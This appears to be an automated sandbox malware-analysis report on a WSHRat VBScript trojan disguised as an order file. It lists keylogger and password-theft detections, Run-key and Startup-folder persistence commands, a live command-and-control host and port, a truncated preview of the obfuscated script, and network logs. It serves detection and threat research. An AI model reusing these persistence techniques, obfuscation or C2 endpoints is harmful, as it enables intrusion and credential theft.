Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string down-n-exec
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string keylogger
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string take-log
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string up-n-exec
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string get-pass
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string down-n-exec
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string keylogger
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string take-log
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string up-n-exec
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string get-pass
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string down-n-exec
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string keylogger
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string take-log

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	111 Windows Management Instrumentation	21 Registry Run Keys / Startup Folder	111 Process Injection	1 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	11 Non-Standard Port	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	421 Scripting	Boot or Logon Initialization Scripts	21 Registry Run Keys / Startup Folder	111 Process Injection	LSASS Memory	1 Remote System Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	1 Remote Access Software	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	421 Scripting	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Obfuscated Files or Information	NTDS	3 System Information Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	12 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
ORDER230322.vbs	27%	ReversingLabs	Script-WScript.Trojan.Valyria
ORDER230322.vbs	41%	Virustotal		Browse

Name	IP	Active	Malicious	Antivirus Detection	Reputation
chongmei33.publicvm.com	103.47.144.22	true	false		high

Contacted URLs

Name	Malicious	Reputation
chongmei33.publicvm.com	false	high
http://chongmei33.publicvm.com:7045/is-processes	false	high
http://chongmei33.publicvm.com:7045/is-ready	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
103.47.144.22	chongmei33.publicvm.com	Pakistan		9009	M247GB	false

General Information

Joe Sandbox Version:	37.0.0 Beryl
Analysis ID:	832141
Start date and time:	2023-03-22 11:36:11 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	ORDER230322.vbs
Detection:	MAL
Classification:	mal100.troj.expl.evad.winVBS@8/4@1/1
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .vbs Override analysis time to 240s for JS/VBS files not yet terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, WMIADAP.exe, SgrmBroker.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
11:37:33	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run ORDER230322 wscript.exe //B "C:\Users\user\AppData\Local\Temp\ORDER230322.vbs"
11:37:41	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run ORDER230322 wscript.exe //B "C:\Users\user\AppData\Local\Temp\ORDER230322.vbs"
11:37:51	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ORDER230322.vbs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chongmei33.publicvm.com	PO230317_COPY.vbs	Get hash	malicious	WSHRat	Browse	103.47.144.71
	cxI8z2rY3C.exe	Get hash	malicious	AsyncRAT	Browse	103.47.144.71
	P3ZmNVYoEJ.exe	Get hash	malicious	AsyncRAT	Browse	103.47.144.71
	ORDER-230316.xlsm	Get hash	malicious	AsyncRAT	Browse	103.47.144.71
	rIXVC7CIsu.exe	Get hash	malicious	AsyncRAT	Browse	103.47.144.126
	ORDER-230409.doc.exe	Get hash	malicious	AsyncRAT	Browse	103.47.144.100
	ORDER_2308044.pdf.vbs	Get hash	malicious	WSHRat	Browse	175.138.182.75
	ORDER-230770.pdf.vbs	Get hash	malicious	WSHRat	Browse	103.47.144.71
	MT103-CASH_TRANSFER.pdf.vbs	Get hash	malicious	WSHRat	Browse	103.47.144.122
	Payment Copy.vbs	Get hash	malicious	WSHRat	Browse	103.47.144.101
	Payment Details.pdf.js	Get hash	malicious	WSHRat, VjW0rm	Browse	103.47.144.105
	ORDER-17886.vbs	Get hash	malicious	WSHRat	Browse	103.47.144.60
	ORDER-2030213F.vbs	Get hash	malicious	WSHRat	Browse	103.47.144.60
	ORDER-230217A.vbs	Get hash	malicious	WSHRat	Browse	103.47.144.60
	a17hW45pFJ.vbs	Get hash	malicious	WSHRat	Browse	103.47.144.93
	ORDER_22727.jar	Get hash	malicious	ADWIND	Browse	172.111.233.12
	ORDER-220721.doc.js	Get hash	malicious	VjW0rm	Browse	45.74.6.13
	Scan_Quotation_22609.pdf.js	Get hash	malicious	WSHRAT	Browse	172.94.109.42
	ORDER-222505.doc.exe	Get hash	malicious	Nanocore	Browse	46.243.140.88
	Payment Advice.js	Get hash	malicious	VjW0rm	Browse	46.243.140.81

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
M247GB	NyLTEgtzBe.elf	Get hash	malicious	Unknown	Browse	185.216.48.177
	Invoice INV-6830.htm	Get hash	malicious	HTMLPhisher	Browse	172.111.230.78
	https://linkprotect.cudasvc.com/url?a=https%3a%2f%2fsites.google.com%2fview%2fbeneficial-systems%2fhome&c=E,1,gvBiqP10BDqhuVGWmyqAN7XnzA4P48lLWTzHTY9Fo6vQc0J53KGQ14pUeVzJw2-4nu8zibFzCLsuRrPa2qqvmx1wJTJJmo8MYDSRO5BtEYMw&typo=1	Get hash	malicious	HTMLPhisher	Browse	89.44.9.151
	Bank_Bri_Dokumen_Pembayaran_Pdf.exe	Get hash	malicious	Remcos	Browse	193.29.104.13
	informaci#U00f3n_de_reserva.vbs	Get hash	malicious	Unknown	Browse	194.187.251.91
	MOL.EXE.exe	Get hash	malicious	LodaRat	Browse	194.187.251.91
	FAKTURA_BG_01.exe	Get hash	malicious	Remcos, DBatLoader	Browse	172.111.253.15
	SqZa96pKGe.exe	Get hash	malicious	Remcos	Browse	185.9.19.107
	Debit_note23.exe	Get hash	malicious	Remcos	Browse	185.9.19.107
	Lainauspyynt#U00f6_Rakla_-lasku_2023_-_03_-_13.exe	Get hash	malicious	Remcos	Browse	185.156.175.35
	dr2yGJsoQi.elf	Get hash	malicious	Mirai	Browse	192.54.57.220
	x8UY0DD0zD.exe	Get hash	malicious	Unknown	Browse	89.238.170.250
	PO230317_COPY.vbs	Get hash	malicious	WSHRat	Browse	103.47.144.71
	sttyhMPl7t.elf	Get hash	malicious	Unknown	Browse	5.252.199.138
	W5NXDZqQd2.elf	Get hash	malicious	Unknown	Browse	5.252.199.138
	loligang.arm7.elf	Get hash	malicious	Mirai	Browse	93.120.57.198
	GZnibLfzbS.elf	Get hash	malicious	Unknown	Browse	5.252.199.138
	g01rDSzStu.elf	Get hash	malicious	Unknown	Browse	5.252.199.138
	aejztCaSRw.elf	Get hash	malicious	Unknown	Browse	5.252.199.138
	x3bM9QxzSO.elf	Get hash	malicious	Unknown	Browse	5.252.199.138

Process:	C:\Windows\System32\wscript.exe
File Type:	Non-ISO extended-ASCII text, with very long lines (2397), with CRLF line terminators
Category:	dropped
Size (bytes):	256560
Entropy (8bit):	2.452409673778066
Encrypted:	false
SSDEEP:	768:19C8cPTeUGV5V4ky1rHHPskYROOowLXMJuzHHMH+HCo/LiGi2tl33xRXC:yR
MD5:	2A76503660D140D0AA08BD758CB9C29C
SHA1:	55C1BA23321E11C0298450FB9DFA1CCEBDEA2D86
SHA-256:	5F0329E51F347CA573EA69CD865BB03D0526D9E9E91477A4502A9FE35C3FBDDF
SHA-512:	F50DA5213BF53B02199A2D3C5C8D06643315BD939B5047BFE44A904B8CB45BE22793155F9055E9529C3EBD1861D14AE39528A9914E841AB3A91C6540C29B7390
Malicious:	true
Reputation:	low
Preview:	'Coded By Pjoao1578....Dim inmBsjrrYiGcfxeBXSCJ..inmBsjrrYiGcfxeBXSCJ = "" & _..vbCrLf & "On E!...........!r?????.??!...........!r?????.??!...........!o?????.??!...........!r?????.?? R!...........!e?????.??s!...........!u?????.??!...........!m?????.??!...........!e?????.?? N!...........!e?????.??x!...........!t?????.??" & _..vbCrLf & "" & _..vbCrLf & "WS!...........!c?????.??!...........!r?????.??!...........!i?????.??!...........!p?????.??!...........!t?????.??.S!...........!l?????.??!...........!e?????.??!...........!e?????.??!...........!p?????.?? 1!...........!0?????.??!...........!0?????.??!...........!9?????.??" & _..vbCrLf & "" & _..vbCrLf & "'<[ !...........!r?????.??!...........!e?????.??!...........!c?????.??!...........!o?????.??d!...........!e?????.??!...........!r?????.?? : k!...........!o?????.??!...........!g?????.??n!...........!i?????.??!...........!t?????.??!...........!o?????.?? (!...........!c?????.??) sky!...........!p?????.??!...........!e?????.?? : !...........!l

C:\Users\user\AppData\Local\Temp\ORDER230322.vbs:Zone.Identifier

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	high, very likely benign file
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ORDER230322.vbs

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	Non-ISO extended-ASCII text, with very long lines (2397), with CRLF line terminators
Category:	dropped
Size (bytes):	256560
Entropy (8bit):	2.452409673778066
Encrypted:	false
SSDEEP:	768:19C8cPTeUGV5V4ky1rHHPskYROOowLXMJuzHHMH+HCo/LiGi2tl33xRXC:yR
MD5:	2A76503660D140D0AA08BD758CB9C29C
SHA1:	55C1BA23321E11C0298450FB9DFA1CCEBDEA2D86
SHA-256:	5F0329E51F347CA573EA69CD865BB03D0526D9E9E91477A4502A9FE35C3FBDDF
SHA-512:	F50DA5213BF53B02199A2D3C5C8D06643315BD939B5047BFE44A904B8CB45BE22793155F9055E9529C3EBD1861D14AE39528A9914E841AB3A91C6540C29B7390
Malicious:	true
Preview:	'Coded By Pjoao1578....Dim inmBsjrrYiGcfxeBXSCJ..inmBsjrrYiGcfxeBXSCJ = "" & _..vbCrLf & "On E!...........!r?????.??!...........!r?????.??!...........!o?????.??!...........!r?????.?? R!...........!e?????.??s!...........!u?????.??!...........!m?????.??!...........!e?????.?? N!...........!e?????.??x!...........!t?????.??" & _..vbCrLf & "" & _..vbCrLf & "WS!...........!c?????.??!...........!r?????.??!...........!i?????.??!...........!p?????.??!...........!t?????.??.S!...........!l?????.??!...........!e?????.??!...........!e?????.??!...........!p?????.?? 1!...........!0?????.??!...........!0?????.??!...........!9?????.??" & _..vbCrLf & "" & _..vbCrLf & "'<[ !...........!r?????.??!...........!e?????.??!...........!c?????.??!...........!o?????.??d!...........!e?????.??!...........!r?????.?? : k!...........!o?????.??!...........!g?????.??n!...........!i?????.??!...........!t?????.??!...........!o?????.?? (!...........!c?????.??) sky!...........!p?????.??!...........!e?????.?? : !...........!l

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ORDER230322.vbs:Zone.Identifier

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	Non-ISO extended-ASCII text, with very long lines (2397), with CRLF line terminators
Entropy (8bit):	2.452409673778066
TrID:
File name:	ORDER230322.vbs
File size:	256560
MD5:	2a76503660d140d0aa08bd758cb9c29c
SHA1:	55c1ba23321e11c0298450fb9dfa1ccebdea2d86
SHA256:	5f0329e51f347ca573ea69cd865bb03d0526d9e9e91477a4502a9fe35c3fbddf
SHA512:	f50da5213bf53b02199a2d3c5c8d06643315bd939b5047bfe44a904b8cb45be22793155f9055e9529c3ebd1861d14ae39528a9914e841ab3a91c6540c29b7390
SSDEEP:	768:19C8cPTeUGV5V4ky1rHHPskYROOowLXMJuzHHMH+HCo/LiGi2tl33xRXC:yR
TLSH:	66449A023E4BF93C165F2E0466380E370F8EFE62D619654A12095FBCA3A758C177F929
File Content Preview:	'Coded By Pjoao1578....Dim inmBsjrrYiGcfxeBXSCJ..inmBsjrrYiGcfxeBXSCJ = "" & _..vbCrLf & "On E!...........!r?????.??!...........!r?????.??!...........!o?????.??!...........!r?????.?? R!...........!e?????.??s!...........!u?????.??!...........!m?????.??!...

File Icon


Icon Hash:	e8d69ece869a9ec4

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.3103.47.144.224972770452017516 03/22/23-11:40:42.430467	TCP	2017516	ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	49727	7045	192.168.2.3	103.47.144.22
192.168.2.3103.47.144.224973070452017516 03/22/23-11:41:00.836849	TCP	2017516	ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	49730	7045	192.168.2.3	103.47.144.22
192.168.2.3103.47.144.224972370452017516 03/22/23-11:40:19.769701	TCP	2017516	ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	49723	7045	192.168.2.3	103.47.144.22
192.168.2.3103.47.144.224970770452017516 03/22/23-11:38:44.353443	TCP	2017516	ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	49707	7045	192.168.2.3	103.47.144.22
192.168.2.3103.47.144.224971170452017516 03/22/23-11:39:07.144389	TCP	2017516	ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	49711	7045	192.168.2.3	103.47.144.22
192.168.2.3103.47.144.224971770452017516 03/22/23-11:39:44.283625	TCP	2017516	ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	49717	7045	192.168.2.3	103.47.144.22
192.168.2.3103.47.144.224971370452017516 03/22/23-11:39:18.634150	TCP	2017516	ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	49713	7045	192.168.2.3	103.47.144.22
192.168.2.3103.47.144.224970370452017516 03/22/23-11:38:21.870237	TCP	2017516	ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	49703	7045	192.168.2.3	103.47.144.22
192.168.2.3103.47.144.224972170452017516 03/22/23-11:40:08.630285	TCP	2017516	ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	49721	7045	192.168.2.3	103.47.144.22
192.168.2.3103.47.144.224973170452017516 03/22/23-11:41:06.386063	TCP	2017516	ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	49731	7045	192.168.2.3	103.47.144.22
192.168.2.3103.47.144.224972670452017516 03/22/23-11:40:36.721932	TCP	2017516	ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	49726	7045	192.168.2.3	103.47.144.22
192.168.2.3103.47.144.224970670452017516 03/22/23-11:38:37.956187	TCP	2017516	ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	49706	7045	192.168.2.3	103.47.144.22
192.168.2.3103.47.144.224971670452017516 03/22/23-11:39:38.695593	TCP	2017516	ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	49716	7045	192.168.2.3	103.47.144.22
192.168.2.3103.47.144.224970970452017516 03/22/23-11:38:55.844827	TCP	2017516	ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	49709	7045	192.168.2.3	103.47.144.22
192.168.2.3103.47.144.224971270452017516 03/22/23-11:39:12.966342	TCP	2017516	ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	49712	7045	192.168.2.3	103.47.144.22
192.168.2.3103.47.144.224969870452017516 03/22/23-11:37:51.449935	TCP	2017516	ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	49698	7045	192.168.2.3	103.47.144.22
192.168.2.3103.47.144.224970270452017516 03/22/23-11:38:16.269118	TCP	2017516	ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	49702	7045	192.168.2.3	103.47.144.22
192.168.2.3103.47.144.224971970452017516 03/22/23-11:39:56.012177	TCP	2017516	ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	49719	7045	192.168.2.3	103.47.144.22
192.168.2.3103.47.144.224972270452017516 03/22/23-11:40:14.190562	TCP	2017516	ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	49722	7045	192.168.2.3	103.47.144.22
192.168.2.3103.47.144.224972970452017516 03/22/23-11:40:53.627793	TCP	2017516	ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	49729	7045	192.168.2.3	103.47.144.22
192.168.2.3103.47.144.224973270452017516 03/22/23-11:41:12.041835	TCP	2017516	ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	49732	7045	192.168.2.3	103.47.144.22
192.168.2.3103.47.144.224971570452017516 03/22/23-11:39:32.263868	TCP	2017516	ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	49715	7045	192.168.2.3	103.47.144.22
192.168.2.3103.47.144.224970570452017516 03/22/23-11:38:31.858320	TCP	2017516	ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	49705	7045	192.168.2.3	103.47.144.22
192.168.2.3103.47.144.224972570452017516 03/22/23-11:40:31.131057	TCP	2017516	ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	49725	7045	192.168.2.3	103.47.144.22
192.168.2.3103.47.144.224971870452017516 03/22/23-11:39:50.397216	TCP	2017516	ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	49718	7045	192.168.2.3	103.47.144.22
192.168.2.3103.47.144.224969970452017516 03/22/23-11:37:58.976360	TCP	2017516	ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	49699	7045	192.168.2.3	103.47.144.22
192.168.2.3103.47.144.224970170452017516 03/22/23-11:38:10.473997	TCP	2017516	ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	49701	7045	192.168.2.3	103.47.144.22
192.168.2.3103.47.144.224972870452017516 03/22/23-11:40:47.984993	TCP	2017516	ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	49728	7045	192.168.2.3	103.47.144.22
192.168.2.3103.47.144.224970070452017516 03/22/23-11:38:04.682959	TCP	2017516	ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	49700	7045	192.168.2.3	103.47.144.22
192.168.2.3103.47.144.224972470452017516 03/22/23-11:40:25.447386	TCP	2017516	ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	49724	7045	192.168.2.3	103.47.144.22
192.168.2.3103.47.144.224971070452017516 03/22/23-11:39:01.482922	TCP	2017516	ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	49710	7045	192.168.2.3	103.47.144.22
192.168.2.3103.47.144.224972070452017516 03/22/23-11:40:01.578389	TCP	2017516	ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	49720	7045	192.168.2.3	103.47.144.22
192.168.2.3103.47.144.224970870452017516 03/22/23-11:38:50.072461	TCP	2017516	ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	49708	7045	192.168.2.3	103.47.144.22
192.168.2.3103.47.144.224971470452017516 03/22/23-11:39:24.263757	TCP	2017516	ET TROJAN Worm.VBS Dunihi/Houdini/H-Worm/WSHRAT Checkin 1	49714	7045	192.168.2.3	103.47.144.22

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 22, 2023 11:37:51.206953049 CET	49698	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:37:51.411252975 CET	7045	49698	103.47.144.22	192.168.2.3
Mar 22, 2023 11:37:51.414747000 CET	49698	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:37:51.449934959 CET	49698	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:37:51.861135960 CET	7045	49698	103.47.144.22	192.168.2.3
Mar 22, 2023 11:37:53.433579922 CET	7045	49698	103.47.144.22	192.168.2.3
Mar 22, 2023 11:37:53.433743954 CET	49698	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:37:53.436577082 CET	49698	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:37:53.655268908 CET	7045	49698	103.47.144.22	192.168.2.3
Mar 22, 2023 11:37:58.602972984 CET	49699	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:37:58.975075006 CET	7045	49699	103.47.144.22	192.168.2.3
Mar 22, 2023 11:37:58.975250006 CET	49699	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:37:58.976360083 CET	49699	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:37:59.194555044 CET	7045	49699	103.47.144.22	192.168.2.3
Mar 22, 2023 11:37:59.197082043 CET	49699	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:37:59.213788986 CET	49699	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:37:59.457420111 CET	7045	49699	103.47.144.22	192.168.2.3
Mar 22, 2023 11:38:04.454312086 CET	49700	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:04.682305098 CET	7045	49700	103.47.144.22	192.168.2.3
Mar 22, 2023 11:38:04.682403088 CET	49700	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:04.682959080 CET	49700	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:04.958420992 CET	7045	49700	103.47.144.22	192.168.2.3
Mar 22, 2023 11:38:04.958529949 CET	49700	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:04.958635092 CET	49700	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:05.189946890 CET	7045	49700	103.47.144.22	192.168.2.3
Mar 22, 2023 11:38:10.202584028 CET	49701	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:10.464844942 CET	7045	49701	103.47.144.22	192.168.2.3
Mar 22, 2023 11:38:10.468480110 CET	49701	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:10.473997116 CET	49701	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:10.770626068 CET	7045	49701	103.47.144.22	192.168.2.3
Mar 22, 2023 11:38:10.770740032 CET	49701	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:10.770823002 CET	49701	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:11.028743982 CET	7045	49701	103.47.144.22	192.168.2.3
Mar 22, 2023 11:38:16.000369072 CET	49702	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:16.262617111 CET	7045	49702	103.47.144.22	192.168.2.3
Mar 22, 2023 11:38:16.265933990 CET	49702	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:16.269118071 CET	49702	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:16.513736963 CET	7045	49702	103.47.144.22	192.168.2.3
Mar 22, 2023 11:38:16.514159918 CET	49702	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:16.514241934 CET	49702	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:16.729244947 CET	7045	49702	103.47.144.22	192.168.2.3
Mar 22, 2023 11:38:21.651624918 CET	49703	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:21.866305113 CET	7045	49703	103.47.144.22	192.168.2.3
Mar 22, 2023 11:38:21.869211912 CET	49703	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:21.870237112 CET	49703	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:22.107378006 CET	7045	49703	103.47.144.22	192.168.2.3
Mar 22, 2023 11:38:22.109205961 CET	49703	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:22.109222889 CET	7045	49703	103.47.144.22	192.168.2.3
Mar 22, 2023 11:38:22.109496117 CET	49703	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:22.109568119 CET	49703	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:22.315249920 CET	7045	49703	103.47.144.22	192.168.2.3
Mar 22, 2023 11:38:22.405129910 CET	49704	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:22.631545067 CET	7045	49704	103.47.144.22	192.168.2.3
Mar 22, 2023 11:38:22.631803036 CET	49704	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:22.632777929 CET	49704	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:22.633141041 CET	49704	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:22.864506960 CET	7045	49704	103.47.144.22	192.168.2.3
Mar 22, 2023 11:38:23.331866980 CET	49704	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:23.956826925 CET	49704	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:25.128894091 CET	49704	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:25.362850904 CET	7045	49704	103.47.144.22	192.168.2.3
Mar 22, 2023 11:38:25.366534948 CET	49704	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:25.988358021 CET	49704	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:26.217325926 CET	7045	49704	103.47.144.22	192.168.2.3
Mar 22, 2023 11:38:26.217511892 CET	49704	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:26.461611986 CET	7045	49704	103.47.144.22	192.168.2.3
Mar 22, 2023 11:38:26.463836908 CET	7045	49704	103.47.144.22	192.168.2.3
Mar 22, 2023 11:38:26.463954926 CET	49704	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:26.464257002 CET	49704	7045	192.168.2.3	103.47.144.22
Mar 22, 2023 11:38:26.692164898 CET	7045	49704	103.47.144.22	192.168.2.3
